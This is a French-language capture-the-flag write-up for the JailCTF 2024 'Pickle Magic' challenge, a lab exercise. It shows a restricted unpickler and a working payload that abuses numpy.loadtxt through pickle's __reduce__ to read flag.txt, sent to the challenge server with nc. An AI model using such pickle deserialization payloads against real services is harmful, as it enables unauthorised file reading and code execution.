MisTrale Write UpMisTrale Write Up
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
Buy me a coffee โ˜•
  • English
  • Franรงais
GitHub
    • ๐Ÿ Introduction
    • ๐ŸŒŸ Remerciements
  • ๐Ÿ’€ Root-Me 20k

    • ๐Ÿ’€ Root Me - 20k
    • โค๏ธ Bash - Love Me
    • ๐Ÿ›‘ Python - Not This Way
    • ๐Ÿ“š NodeJs - Never Trust Node One
  • โ›“๏ธ JailCTF-2024

    • ๐Ÿ‘ฎ JailCTF - 2024
    • ๐Ÿ”  !Alphabeat
    • ๐Ÿง‘โ€๐Ÿฆฏ Blind Calc
    • ๐ŸŽ‰ Parity 1
    • ๐ŸŽˆ Parity 2
    • ๐Ÿช„ Pickle Magic
    • โ˜Ž๏ธ Get and Call
    • โ‰๏ธ No Sense
    • ๐ŸŸฉ Filter'd
    • ๐Ÿง SUS Calculator
  • ๐Ÿ•น๏ธ TCP1P

    • ๐ŸŽฎ Another Discord
  • ๐Ÿงฎ GCC-2024

    • ๐Ÿ˜… soBusy
  • ๐ŸŒ› Midnight

    • ๐ŸŒƒ Midnight
    • โœจ Privesc - 1
    • ๐Ÿ”‘ Privesc - 2
    • ๐Ÿ‘‘ Privesc - 3
    • ๐ŸŽญ My Face

๐Ÿช„ Pickle Magic

๐Ÿ‘€ Avant de commencer

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

๐Ÿ“– ร‰noncรฉ du challenge

#!/usr/local/bin/python3
# modified from https://github.com/splitline/My-CTF-Challenges/blob/master/hitcon-quals/2022/misc/Picklection/release/share/chal.py
import pickle, numpy, io
from pickle import _getattribute

class RestrictedUnpickler(pickle.Unpickler): 
     def find_class(self, module, name): 
        if module == 'numpy' and '__' not in name:
            return _getattribute(numpy, name)[0]
        raise pickle.UnpicklingError('bad')

data = bytes.fromhex(input("(hex)> "))
print(RestrictedUnpickler(io.BytesIO(data)).load())

๐Ÿšฉ Avoir le flag

Alors, on va passer ร  l'anlyse de ce tout petit script.

  • Nous avons du pickle, et un unpickler customisรฉ.
  • Pour que notre objet soit dรฉsรฉrialisรฉ, il doit รชtre de la librairie numpy. Et ne pas contenir de __ dans son nom.

Bon bah c'est pas si compliquรฉ nous avons juste ร  crรฉer un objet numpy et le sรฉrialiser. Sauf que comment lire le fichier ?

On recherchant sur internet, on trouve que numpy a une fonction loadtxt qui permet de lire un fichier. Et on peut donc lire le fichier flag.txt avec cette fonction.

Nous avons donc ce script:

class RCE:
    def __reduce__(self):
        return __import__("numpy").loadtxt, ("flag.txt",)

print(hex(int.from_bytes(__import__("pickle").dumps(RCE())))[2:])

Nous l'exรฉcutons et nous obtenons le notre hexdump.

$ python3 RCE.py
80049524000000000000008c056e756d7079948c076c6f61647478749493948c08666c61672e74787494859452942e

Plus qu'a nous connecter au serveur et envoyer notre hexdump.

$ python3 RCE.py | nc challs2.pyjail.club 7992
(hex)> 80049524000000000000008c056e756d7079948c076c6f61647478749493948c08666c61672e74787494859452942e
ValueError: could not convert string to float: 'jail{idk_about_mag1c_but_this_is_definitely_pickled}'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "/app/run", line 12, in <module>
    print(RestrictedUnpickler(io.BytesIO(data)).load())
  File "/usr/local/lib/python3.10/site-packages/numpy/lib/_npyio_impl.py", line 1397, in loadtxt
    arr = _read(fname, dtype=dtype, comment=comment, delimiter=delimiter,
  File "/usr/local/lib/python3.10/site-packages/numpy/lib/_npyio_impl.py", line 1036, in _read
    arr = _load_from_filelike(
ValueError: could not convert string 'jail{idk_about_mag1c_but_this_is_definitely_pickled}' to float64 at row 0, column 1.

๐Ÿ’– Support

๐Ÿ‘€ Avant de quitter

Vous pouvez me faire un don via Buy Me a Coffee ou me suivre Github

Prev
๐ŸŽˆ Parity 2
Next
โ˜Ž๏ธ Get and Call